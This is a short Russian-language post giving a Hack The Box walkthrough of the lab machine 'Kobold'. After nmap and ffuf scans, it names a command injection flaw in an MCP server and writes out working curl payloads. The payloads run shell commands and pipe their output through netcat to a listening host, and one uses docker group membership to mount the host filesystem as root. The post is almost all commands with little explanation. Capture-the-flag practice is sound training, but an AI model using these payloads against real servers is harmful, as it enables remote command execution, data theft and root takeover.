Если в воскресенье с утра много сообщений в ЛС - значит вышла новая машина в сезоне на HTB 😅

Главное не просто сдать, а понять - что, для чего и почему

Hack The Box — Kobold - Season 10

sudo echo "10.10.10.10 kobold.htb mcp.kobold.htb" >> /etc/hosts

nmap -sC -sV -p- --min-rate=1000 10.10.10.10

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 80/tcp open http nginx 1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) 3552/tcp open unknown

curl -s http://10.10.10.10:3552/api/openapi.json | head -100

ffuf -u http://10.10.10.10 -H "Host: FUZZ.kobold.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0

curl -k -s https://mcp.kobold.htb/api/openapi.json | head -50

CVE-2026-23520: Arcane MCP Server Unauthenticated Command Injection

nc -lvnp 1337

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect -H "Content-Type: application/json" -d '{ "serverConfig": { "command": "bash", "args": ["-c", "id | nc 10.10.10.11 1337"], "env": {} }, "serverId": "test" }'

uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect -H "Content-Type: application/json" -d '{ "serverConfig": { "command": "bash", "args": ["-c", "cat /home/ben/user.txt | nc 10.10.10.11 1337"], "env": {} }, "serverId": "user" }'

Получаем user флаг

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect -H "Content-Type: application/json" -d '{ "serverConfig": { "command": "sg", "args": ["docker", "-c", "docker run -u root -v /:/hostfs --rm --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt | nc -w 10 10.10.10.11 1337"], "env": {} }, "serverId": "rootflag" }'

Получаем root флаг